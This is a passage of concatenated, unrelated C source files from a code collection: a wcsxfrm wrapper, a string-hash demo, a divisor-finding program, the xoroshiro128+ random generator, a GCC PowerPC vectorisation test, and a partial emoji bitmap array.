* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <wchar.h>
extern size_t wcslcpy(wchar_t *, const wchar_t *, size_t);
size_t
wcsxfrm(wchar_t *dest, const wchar_t *src, size_t n)
{
if (n == 0)
return wcslen(src);
return wcslcpy(dest, src, n);
}
|
the_stack_data/40762092.c
|
#include <stdio.h>
#include <string.h>
unsigned int hash(char *key) {
char *p = key;
unsigned int h = 37;
while (*p != '\0') {
h = h * 147 + *p;
p++;
}
return h;
}
int main() {
printf("hash()=%u\n", hash(""));
printf("hash(h)=%u\n", hash("h"));
printf("hash(he)=%u\n", hash("he"));
printf("hash(hel)=%u\n", hash("hel"));
printf("hash(hell)=%u\n", hash("hell"));
printf("hash(hello)=%u\n", hash("hello"));
}
|
the_stack_data/802271.c
|
#include <stdio.h>
int main() {
int n, k;
int cnt = 0;
int i = 0;
int result = 0;
int input;
scanf("%d %d", &n, &k);
while(cnt < k && i <= n) {
++i;
if(n % i == 0) {
++cnt;
result = i;
}
}
if(cnt == k) {
printf("%d", result);
} else {
printf("%d", 0);
}
return 0;
}
|
the_stack_data/97012301.c
|
/* Written in 2016 by David Blackman and Sebastiano Vigna ([email protected])
To the extent possible under law, the author has dedicated all copyright
and related and neighboring rights to this software to the public domain
worldwide. This software is distributed without any warranty.
See <http://creativecommons.org/publicdomain/zero/1.0/>. */
#include <stdint.h>
/* This is the successor to xorshift128+. It is the fastest full-period
generator passing BigCrush without systematic failures, but due to the
relatively short period it is acceptable only for applications with a
mild amount of parallelism; otherwise, use a xorshift1024* generator.
Beside passing BigCrush, this generator passes the PractRand test suite
up to (and included) 16TB, with the exception of binary rank tests,
which fail due to the lowest bit being an LFSR; all other bits pass all
tests. We suggest to use a sign test to extract a random Boolean value.
Note that the generator uses a simulated rotate operation, which most C
compilers will turn into a single instruction. In Java, you can use
Long.rotateLeft(). In languages that do not make low-level rotation
instructions accessible xorshift128+ could be faster.
The state must be seeded so that it is not everywhere zero. If you have
a 64-bit seed, we suggest to seed a splitmix64 generator and use its
output to fill s. */
uint64_t s[2];
static inline uint64_t rotl(const uint64_t x, int k) {
return (x << k) | (x >> (64 - k));
}
uint64_t next(void) {
const uint64_t s0 = s[0];
uint64_t s1 = s[1];
const uint64_t result = s0 + s1;
s1 ^= s0;
s[0] = rotl(s0, 55) ^ s1 ^ (s1 << 14); // a, b
s[1] = rotl(s1, 36); // c
return result;
}
/* This is the jump function for the generator. It is equivalent
to 2^64 calls to next(); it can be used to generate 2^64
non-overlapping subsequences for parallel computations. */
void jump(void) {
static const uint64_t JUMP[] = { 0xbeac0467eba5facb, 0xd86b048b86aa9922 };
uint64_t s0 = 0;
uint64_t s1 = 0;
for(int i = 0; i < sizeof JUMP / sizeof *JUMP; i++)
for(int b = 0; b < 64; b++) {
if (JUMP[i] & 1ULL << b) {
s0 ^= s[0];
s1 ^= s[1];
}
next();
}
s[0] = s0;
s[1] = s1;
}
|
the_stack_data/331923.c
|
/* { dg-do compile { target { powerpc*-*-* } } } */
/* { dg-skip-if "" { powerpc*-*-darwin* } { "*" } { "" } } */
/* { dg-require-effective-target powerpc_p8vector_ok } */
/* { dg-skip-if "do not override -mcpu" { powerpc*-*-* } { "-mcpu=*" } { "-mcpu=power8" } } */
/* { dg-options "-mcpu=power8 -O2 -ftree-vectorize" } */
#ifndef SIZE
#define SIZE 1024
#endif
#ifndef ALIGN
#define ALIGN 32
#endif
#ifndef TYPE
#define TYPE long long
#endif
#ifndef SIGN_TYPE
#define SIGN_TYPE signed TYPE
#endif
#ifndef UNS_TYPE
#define UNS_TYPE unsigned TYPE
#endif
#define ALIGN_ATTR __attribute__((__aligned__(ALIGN)))
SIGN_TYPE sa[SIZE] ALIGN_ATTR;
SIGN_TYPE sb[SIZE] ALIGN_ATTR;
SIGN_TYPE sc[SIZE] ALIGN_ATTR;
UNS_TYPE ua[SIZE] ALIGN_ATTR;
UNS_TYPE ub[SIZE] ALIGN_ATTR;
UNS_TYPE uc[SIZE] ALIGN_ATTR;
void
sign_lt (SIGN_TYPE val1, SIGN_TYPE val2)
{
unsigned long i;
for (i = 0; i < SIZE; i++)
sa[i] = (sb[i] < sc[i]) ? val1 : val2;
}
void
sign_lte (SIGN_TYPE val1, SIGN_TYPE val2)
{
unsigned long i;
for (i = 0; i < SIZE; i++)
sa[i] = (sb[i] <= sc[i]) ? val1 : val2;
}
void
sign_gt (SIGN_TYPE val1, SIGN_TYPE val2)
{
unsigned long i;
for (i = 0; i < SIZE; i++)
sa[i] = (sb[i] > sc[i]) ? val1 : val2;
}
void
sign_gte (SIGN_TYPE val1, SIGN_TYPE val2)
{
unsigned long i;
for (i = 0; i < SIZE; i++)
sa[i] = (sb[i] >= sc[i]) ? val1 : val2;
}
void
uns_lt (UNS_TYPE val1, UNS_TYPE val2)
{
unsigned long i;
for (i = 0; i < SIZE; i++)
ua[i] = (ub[i] < uc[i]) ? val1 : val2;
}
void
uns_lte (UNS_TYPE val1, UNS_TYPE val2)
{
unsigned long i;
for (i = 0; i < SIZE; i++)
ua[i] = (ub[i] <= uc[i]) ? val1 : val2;
}
void
uns_gt (UNS_TYPE val1, UNS_TYPE val2)
{
unsigned long i;
for (i = 0; i < SIZE; i++)
ua[i] = (ub[i] > uc[i]) ? val1 : val2;
}
void
uns_gte (UNS_TYPE val1, UNS_TYPE val2)
{
unsigned long i;
for (i = 0; i < SIZE; i++)
ua[i] = (ub[i] >= uc[i]) ? val1 : val2;
}
/* { dg-final { scan-assembler-times {\mvcmpgtsd\M} 4 } } */
/* { dg-final { scan-assembler-times {\mvcmpgtud\M} 4 } } */
/* { dg-final { scan-assembler-not {\mvcmpequd\M} } } */
|
the_stack_data/6881.c
|
#include <stdint.h>
const uint8_t __emoji_u1F60F[4856] = {
0x00, 0x00, 0x00, 0x00, // uint32_t id
0x28, 0x00, 0x00, 0x00, // int32_t width
0x28, 0x00, 0x00, 0x00, // int32_t height
0x08, 0x00, 0x00, 0x00, // ui_pixel_format_t pf
0x38, 0x00, 0x00, 0x00, // uint32_t header_size
0x00, 0x19, 0x00, 0x00, // uint32_t data_size
0x00, 0x00, 0x00, 0x00, // int32_t reserved[0]
0x00, 0x00, 0x00, 0x00, // int32_t reserved[1]
0x00, 0x00, 0x00, 0x00, // int32_t reserved[2]
0x00, 0x00, 0x00, 0x00, // int32_t reserved[3]
0x00, 0x00, 0x00, 0x00, // int32_t reserved[4]
0x00, 0x00, 0x00, 0x00, // int32_t reserved[5]
0x00, 0x00, 0x00, 0x00, // int32_t reserved[6]
0x00, 0x00, 0x00, 0x00, // int32_t reserved[7]
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc4, 0x89, 0x09, 0xd4, 0x87, 0x1e, 0xe4, 0xa6, 0x2a, 0xe4, 0xa6, 0x2a, 0xdc, 0x87, 0x1e, 0xcc, 0x89, 0x0a, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcc, 0x67, 0x0a, 0xec, 0xa4, 0x51, 0xf5, 0x03, 0x9b,
0xfd, 0x63, 0xd5, 0xfd, 0xa3, 0xf6, 0xfd, 0xc3, 0xff, 0xfe, 0x03, 0xff, 0xfe, 0x03, 0xff, 0xfd, 0xc3, 0xff, 0xfd, 0xa3, 0xf7, 0xfd, 0x43, 0xd7, 0xf5, 0x03, 0x9d, 0xec, 0xa3, 0x54, 0xd4, 0x46, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdc, 0x44, 0x1a, 0xf4, 0xc2, 0x8b, 0xfd, 0x42, 0xed, 0xfd, 0xe2, 0xff, 0xfe, 0x62, 0xff, 0xfe, 0xc4, 0xff, 0xff, 0x28, 0xff, 0xff, 0x6b, 0xff, 0xff, 0x6d, 0xff, 0xff, 0x6d, 0xff, 0xff, 0x6c, 0xff, 0xff, 0x28, 0xff, 0xfe, 0xc4, 0xff,
0xfe, 0x62, 0xff, 0xfd, 0xe2, 0xff, 0xfd, 0x42, 0xef, 0xf4, 0xc2, 0x90, 0xdc, 0x44, 0x1d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc4, 0x26, 0x06, 0xf4, 0x82, 0x7b, 0xfd, 0x21, 0xf3, 0xfd, 0xe1, 0xff, 0xfe, 0x83, 0xff, 0xff, 0x4c, 0xff, 0xff, 0xb5, 0xff,
0xff, 0xfb, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xfb, 0xff, 0xff, 0xd6, 0xff, 0xff, 0x4e, 0xff, 0xfe, 0xa4, 0xff, 0xfd, 0xe1, 0xff, 0xfd, 0x21, 0xf5, 0xf4, 0x82, 0x82, 0xc4, 0x26, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe4, 0x23, 0x23, 0xf4, 0xa1, 0xcc, 0xfd, 0x81, 0xff, 0xfe, 0x42, 0xff, 0xff, 0x4e, 0xff, 0xff, 0xd8, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xfa, 0xff, 0xff, 0xfa, 0xff, 0xff, 0xfb, 0xff, 0xff, 0xfb, 0xff, 0xff, 0xfb, 0xff, 0xff, 0xfb, 0xff, 0xff, 0xfb, 0xff, 0xff, 0xfb, 0xff, 0xff, 0xfa, 0xff,
0xff, 0xfa, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xf9, 0xff, 0xff, 0x6f, 0xff, 0xfe, 0x63, 0xff, 0xfd, 0x81, 0xff, 0xfc, 0xa1, 0xd1, 0xe4, 0x23, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe4, 0x22, 0x3a, 0xfc, 0xc1, 0xeb, 0xfd, 0xa1, 0xff, 0xfe, 0xa7, 0xff, 0xff, 0xb5, 0xff, 0xff, 0xd7, 0xff, 0xff, 0xd8, 0xff, 0xff, 0xf8, 0xff, 0xff, 0xf9, 0xff,
0xff, 0xf9, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xfa, 0xff, 0xff, 0xfa, 0xff, 0xff, 0xfa, 0xff, 0xff, 0xfa, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xf8, 0xff, 0xff, 0xf8, 0xff, 0xff, 0xd7, 0xff, 0xff, 0xd7, 0xff, 0xff, 0xd6, 0xff, 0xfe, 0xc9, 0xff, 0xfd, 0xc1, 0xff, 0xfc, 0xc1, 0xee,
0xe4, 0x22, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe4, 0x02, 0x3a, 0xfc, 0xc0, 0xf2,
0xfd, 0xa1, 0xff, 0xfe, 0xea, 0xff, 0xff, 0xd5, 0xff, 0xff, 0xd5, 0xff, 0xff, 0xd5, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd7, 0xff, 0xff, 0xd7, 0xff, 0xff, 0xd8, 0xff, 0xff, 0xf8, 0xff, 0xff, 0xf8, 0xff, 0xff, 0xf8, 0xff, 0xff, 0xd8, 0xff, 0xff, 0xd8, 0xff, 0xff, 0xd7, 0xff,
0xff, 0xd7, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd5, 0xff, 0xff, 0xd5, 0xff, 0xff, 0xd5, 0xff, 0xff, 0x0d, 0xff, 0xfd, 0xc1, 0xff, 0xfc, 0xc0, 0xf6, 0xe4, 0x22, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdb, 0xe3, 0x23, 0xfc, 0x80, 0xeb, 0xfd, 0x81, 0xff, 0xfe, 0xca, 0xff, 0xff, 0x93, 0xff, 0xff, 0xd3, 0xff, 0xff, 0xd3, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd5, 0xff, 0xff, 0xd5, 0xff,
0xff, 0xd5, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd6, 0xff, 0xff, 0xd5, 0xff, 0xff, 0xd5, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd3, 0xff, 0xff, 0xd3, 0xff, 0xff, 0x93, 0xff, 0xfe, 0xed, 0xff,
0xfd, 0xa1, 0xff, 0xfc, 0xa0, 0xef, 0xdc, 0x03, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbb, 0xe7, 0x06, 0xf4, 0x41, 0xcc, 0xfd, 0x40, 0xff, 0xfe, 0x67, 0xff,
0xff, 0x71, 0xff, 0xff, 0x91, 0xff, 0xff, 0xb1, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd3, 0xff, 0xff, 0xd3, 0xff, 0xff, 0xd3, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd4, 0xff, 0xff, 0xd3, 0xff,
0xff, 0xd3, 0xff, 0xff, 0xd3, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xb1, 0xff, 0xff, 0x91, 0xff, 0xff, 0x51, 0xff, 0xfe, 0xaa, 0xff, 0xfd, 0x60, 0xff, 0xf4, 0x61, 0xd3, 0xc3, 0xe6, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0x01, 0x7b, 0xfc, 0xe0, 0xff, 0xfd, 0xe4, 0xff, 0xff, 0x0e, 0xff, 0xff, 0x4f, 0xff, 0xff, 0x8f, 0xff, 0xff, 0xaf, 0xff, 0xff, 0xb0, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xd1, 0xff, 0xff, 0xd1, 0xff,
0xff, 0xd1, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd2, 0xff, 0xff, 0xd1, 0xff, 0xff, 0xd1, 0xff, 0xff, 0xd1, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xb0, 0xff, 0xff, 0xaf, 0xff, 0xff, 0x6f, 0xff, 0xff, 0x4f, 0xff,
0xff, 0x0e, 0xff, 0xfe, 0x25, 0xff, 0xfc, 0xe0, 0xff, 0xec, 0x01, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcb, 0xc4, 0x1a, 0xf4, 0x60, 0xf4, 0xfd, 0x61, 0xff, 0xfe, 0xaa, 0xff, 0xff, 0x0d, 0xff,
0xff, 0x2d, 0xff, 0xff, 0x6d, 0xff, 0xff, 0x8e, 0xff, 0xff, 0xae, 0xff, 0xff, 0xae, 0xff, 0xff, 0xae, 0xff, 0xff, 0xaf, 0xff, 0xff, 0xcf, 0xff, 0xff, 0xcf, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xd0, 0xff, 0xff, 0xcf, 0xff,
0xff, 0xcf, 0xff, 0xff, 0xaf, 0xff, 0xff, 0xae, 0xff, 0xff, 0xae, 0xff, 0xff, 0xae, 0xff, 0xff, 0x8e, 0xff, 0xff, 0x6d, 0xff, 0xff, 0x4d, 0xff, 0xff, 0x0d, 0xff, 0xfe, 0xcc, 0xff, 0xfd, 0x61, 0xff, 0xfc, 0x60, 0xf7, 0xd3, 0xe3, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe3, 0xe1, 0x8b, 0xfc, 0xc0, 0xff, 0xfd, 0xe5, 0xff, 0xfe, 0xcb, 0xff, 0xfe, 0xeb, 0xff, 0xff, 0x2b, 0xff, 0xff, 0x4c, 0xff, 0xff, 0x6c, 0xff, 0xff, 0x8c, 0xff, 0xff, 0xac, 0xff, 0xff, 0xad, 0xff, 0xff, 0xad, 0xff, 0xff, 0xad, 0xff,
0xff, 0xad, 0xff, 0xff, 0xad, 0xff, 0xff, 0xae, 0xff, 0xff, 0xae, 0xff, 0xff, 0xae, 0xff, 0xff, 0xae, 0xff, 0xff, 0xad, 0xff, 0xff, 0xad, 0xff, 0xff, 0xad, 0xff, 0xff, 0xad, 0xff, 0xff, 0xad, 0xff, 0xff, 0x8c, 0xff, 0xff, 0x8c, 0xff, 0xff, 0x6c, 0xff, 0xff, 0x4c, 0xff, 0xff, 0x2b, 0xff,
0xfe, 0xeb, 0xff, 0xfe, 0xcb, 0xff, 0xfe, 0x06, 0xff, 0xfc, 0xe0, 0xff, 0xec, 0x01, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbb, 0xe6, 0x0a, 0xec, 0x20, 0xed, 0xfd, 0x21, 0xff, 0xfe, 0x48, 0xff, 0xfe, 0xa9, 0xff, 0xfe, 0xca, 0xff,
0xfe, 0xa9, 0xff, 0xee, 0x07, 0xff, 0xe5, 0xe7, 0xff, 0xee, 0x88, 0xff, 0xff, 0x4a, 0xff, 0xff, 0x8b, 0xff, 0xff, 0xab, 0xff, 0xff, 0xab, 0xff, 0xff, 0xab, 0xff, 0xff, 0xac, 0xff, 0xff, 0xac, 0xff, 0xff, 0xac, 0xff, 0xff, 0xac, 0xff, 0xff, 0xac, 0xff, 0xff, 0xac, 0xff, 0xff, 0xab, 0xff,
0xff, 0xab, 0xff, 0xff, 0x8b, 0xff, 0xff, 0x8b, 0xff, 0xff, 0x4a, 0xff, 0xf6, 0xa8, 0xff, 0xe5, 0xe7, 0xff, 0xee, 0x28, 0xff, 0xfe, 0xc9, 0xff, 0xfe, 0xca, 0xff, 0xfe, 0xa9, 0xff, 0xfe, 0x48, 0xff, 0xfd, 0x21, 0xff, 0xf4, 0x20, 0xf2, 0xc3, 0xe6, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdb, 0xc2, 0x50, 0xf4, 0x60, 0xff, 0xfd, 0x62, 0xff, 0xfe, 0x47, 0xff, 0xfe, 0x47, 0xff, 0xc4, 0x64, 0xff, 0x7a, 0x21, 0xff, 0x69, 0x80, 0xff, 0x69, 0xa0, 0xff, 0x69, 0xa0, 0xff, 0x9b, 0x62, 0xff, 0xff, 0x09, 0xff, 0xff, 0x8a, 0xff, 0xff, 0x8a, 0xff,
0xff, 0x8a, 0xff, 0xff, 0xaa, 0xff, 0xff, 0xaa, 0xff, 0xff, 0xaa, 0xff, 0xff, 0xaa, 0xff, 0xff, 0xaa, 0xff, 0xff, 0xaa, 0xff, 0xff, 0xaa, 0xff, 0xff, 0x8a, 0xff, 0xff, 0x69, 0xff, 0xff, 0x08, 0xff, 0x9b, 0x62, 0xff, 0x69, 0xa0, 0xff, 0x69, 0xa0, 0xff, 0x69, 0xa0, 0xff, 0x82, 0x41, 0xff,
0xcc, 0xa4, 0xff, 0xfe, 0x68, 0xff, 0xfe, 0x47, 0xff, 0xfd, 0x83, 0xff, 0xf4, 0x80, 0xff, 0xdb, 0xc2, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe3, 0xc1, 0x99, 0xf4, 0xa0, 0xff, 0xfd, 0x84, 0xff, 0xfd, 0xe6, 0xff, 0xa3, 0x22, 0xff, 0x7a, 0x41, 0xff,
0xc5, 0x46, 0xff, 0xf6, 0xe9, 0xff, 0xf7, 0x29, 0xff, 0xe6, 0xa8, 0xff, 0xa4, 0x25, 0xff, 0xde, 0x27, 0xff, 0xff, 0x68, 0xff, 0xff, 0x68, 0xff, 0xff, 0x68, 0xff, 0xff, 0x69, 0xff, 0xff, 0x89, 0xff, 0xff, 0x88, 0xff, 0xff, 0x88, 0xff, 0xff, 0x89, 0xff, 0xff, 0x68, 0xff, 0xff, 0x68, 0xff,
0xff, 0x68, 0xff, 0xff, 0x48, 0xff, 0xde, 0x47, 0xff, 0xac, 0x65, 0xff, 0xee, 0xa8, 0xff, 0xff, 0x49, 0xff, 0xf7, 0x09, 0xff, 0xc5, 0x46, 0xff, 0x72, 0x21, 0xff, 0xab, 0x82, 0xff, 0xfe, 0x06, 0xff, 0xfd, 0xa4, 0xff, 0xf4, 0xa0, 0xff, 0xe3, 0xe1, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe3, 0xe1, 0xd4, 0xf4, 0xa0, 0xff, 0xfd, 0x84, 0xff, 0xbb, 0xc2, 0xff, 0x93, 0x22, 0xff, 0xf6, 0xa7, 0xff, 0xfe, 0xa6, 0xff, 0xfe, 0xc7, 0xff, 0xfe, 0xe7, 0xff, 0xff, 0x07, 0xff, 0xff, 0x27, 0xff, 0xff, 0x47, 0xff, 0xff, 0x27, 0xff, 0xff, 0x47, 0xff,
0xff, 0x47, 0xff, 0xff, 0x47, 0xff, 0xff, 0x47, 0xff, 0xff, 0x67, 0xff, 0xff, 0x67, 0xff, 0xff, 0x67, 0xff, 0xff, 0x47, 0xff, 0xff, 0x47, 0xff, 0xff, 0x47, 0xff, 0xff, 0x27, 0xff, 0xff, 0x27, 0xff, 0xff, 0x27, 0xff, 0xfe, 0xe7, 0xff, 0xfe, 0xe7, 0xff, 0xfe, 0xc7, 0xff, 0xfe, 0xa6, 0xff,
0xf6, 0xa7, 0xff, 0x93, 0x02, 0xff, 0xc4, 0x03, 0xff, 0xfd, 0xa4, 0xff, 0xf4, 0xc1, 0xff, 0xe3, 0xe1, 0xde, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb3, 0xe8, 0x08, 0xe3, 0xe0, 0xf6, 0xf4, 0xc1, 0xff, 0xf5, 0x23, 0xff, 0x8a, 0xc2, 0xff, 0xfe, 0x46, 0xff, 0xfe, 0x45, 0xff,
0xfe, 0x86, 0xff, 0xfe, 0xa6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xe6, 0xff, 0xff, 0x06, 0xff, 0xff, 0x26, 0xff, 0xff, 0x26, 0xff, 0xff, 0x26, 0xff, 0xff, 0x26, 0xff, 0xff, 0x26, 0xff, 0xff, 0x26, 0xff, 0xff, 0x26, 0xff, 0xff, 0x26, 0xff, 0xff, 0x26, 0xff, 0xff, 0x26, 0xff,
0xff, 0x26, 0xff, 0xff, 0x06, 0xff, 0xff, 0x06, 0xff, 0xfe, 0xe6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xc6, 0xff, 0xfe, 0xa6, 0xff, 0xfe, 0x86, 0xff, 0xfe, 0x45, 0xff, 0xfe, 0x46, 0xff, 0x8a, 0xa1, 0xff, 0xf5, 0x43, 0xff, 0xf4, 0xc1, 0xff, 0xe3, 0xe0, 0xfb, 0xbb, 0xe7, 0x0f, 0x00, 0x00, 0x00,
